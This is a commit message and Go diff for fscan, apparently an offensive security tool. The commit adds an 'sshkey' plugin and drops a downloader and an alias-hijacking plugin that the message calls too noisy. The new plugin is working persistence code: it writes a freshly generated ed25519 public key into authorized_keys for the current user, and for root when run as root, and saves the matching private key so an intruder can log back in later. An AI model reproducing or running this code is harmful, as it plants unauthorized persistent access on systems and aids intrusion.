chore: 砍掉 downloader/shellenv，新增 sshkey 插件

- 删除 downloader（curl/certutil 可替代）
- 删除 shellenv（劫持 ls 别名动静太大，实用性差）
- 新增 sshkey：生成 ed25519 密钥对，注入 authorized_keys，
  私钥保存到当前目录，支持多用户（root 权限下自动注入 root）

plugins/local/sshkey.go

@@ -0,0 +1,142 @@
+//go:build (plugin_sshkey || !plugin_selective) && !windows && !no_local
+
+package local
+
+import (
+	"context"
+	"crypto/ed25519"
+	"crypto/rand"
+	"encoding/pem"
+	"fmt"
+	"os"
+	"os/user"
+	"path/filepath"
+	"strings"
+
+	"github.com/shadow1ng/fscan/common"
+	"github.com/shadow1ng/fscan/common/i18n"
+	"github.com/shadow1ng/fscan/plugins"
+	"golang.org/x/crypto/ssh"
+)
+
+type SSHKeyPlugin struct {
+	plugins.BasePlugin
+}
+
+func NewSSHKeyPlugin() *SSHKeyPlugin {
+	return &SSHKeyPlugin{BasePlugin: plugins.NewBasePlugin("sshkey")}
+}
+
+func (p *SSHKeyPlugin) Scan(ctx context.Context, info *common.HostInfo, session *common.ScanSession) *plugins.Result {
+	var output strings.Builder
+	var successCount int
+
+	targets := p.getTargetUsers()
+
+	for _, u := range targets {
+		sshDir := filepath.Join(u.HomeDir, ".ssh")
+		authFile := filepath.Join(sshDir, "authorized_keys")
+
+		if err := os.MkdirAll(sshDir, 0700); err != nil {
+			output.WriteString(fmt.Sprintf("[失败] %s: 无法创建 .ssh 目录: %v\n", u.Username, err))
+			continue
+		}
+
+		pubKey, privKey, err := p.generateKeyPair()
+		if err != nil {
+			output.WriteString(fmt.Sprintf("[失败] %s: 密钥生成失败: %v\n", u.Username, err))
+			continue
+		}
+
+		// 追加公钥到 authorized_keys
+		existing, _ := os.ReadFile(authFile)
+		if strings.Contains(string(existing), pubKey) {
+			output.WriteString(fmt.Sprintf("[跳过] %s: 公钥已存在\n", u.Username))
+			continue
+		}
+
+		entry := pubKey + " fscan@" + hostname() + "\n"
+		f, err := os.OpenFile(authFile, os.O_APPEND|os.O_CREATE|os.O_WRONLY, 0600)
+		if err != nil {
+			output.WriteString(fmt.Sprintf("[失败] %s: 无法写入 authorized_keys: %v\n", u.Username, err))
+			continue
+		}
+		_, err = f.WriteString(entry)
+		f.Close()
+		if err != nil {
+			continue
+		}
+
+		// 保存私钥到当前目录
+		keyFile := fmt.Sprintf("id_%s_%s", u.Username, "ed25519")
+		if err := os.WriteFile(keyFile, []byte(privKey), 0600); err != nil {
+			output.WriteString(fmt.Sprintf("[失败] %s: 私钥保存失败: %v\n", u.Username, err))
+			continue
+		}
+
+		output.WriteString(fmt.Sprintf("[成功] %s: 公钥已注入 %s，私钥保存为 %s\n", u.Username, authFile, keyFile))
+		successCount++
+	}
+
+	if successCount > 0 {
+		common.LogSuccess(i18n.Tr("sshkey_success", successCount))
+	}
+
+	return &plugins.Result{
+		Success: successCount > 0,
+		Type:    plugins.ResultTypeService,
+		Output:  output.String(),
+	}
+}
+
+func (p *SSHKeyPlugin) getTargetUsers() []*user.User {
+	var targets []*user.User
+
+	if u, err := user.Current(); err == nil {
+		targets = append(targets, u)
+	}
+
+	// root 权限下额外注入 root 用户
+	if os.Getuid() == 0 {
+		if root, err := user.Lookup("root"); err == nil {
+			targets = append(targets, root)
+		}
+	}
+
+	return targets
+}
+
+func (p *SSHKeyPlugin) generateKeyPair() (pubKeyStr, privKeyStr string, err error) {
+	pub, priv, err := ed25519.GenerateKey(rand.Reader)
+	if err != nil {
+		return "", "", err
+	}
+
+	sshPub, err := ssh.NewPublicKey(pub)
+	if err != nil {
+		return "", "", err
+	}
+	pubKeyStr = strings.TrimSpace(string(ssh.MarshalAuthorizedKey(sshPub)))
+
+	privBytes, err := ssh.MarshalPrivateKey(priv, "")
+	if err != nil {
+		return "", "", err
+	}
+	privKeyStr = string(pem.EncodeToMemory(privBytes))
+
+	return pubKeyStr, privKeyStr, nil
+}
+
+func hostname() string {
+	h, _ := os.Hostname()
+	if h == "" {
+		return "unknown"
+	}
+	return h
+}
+
+func init() {
+	RegisterLocalPlugin("sshkey", func() Plugin {
+		return NewSSHKeyPlugin()
+	})
+}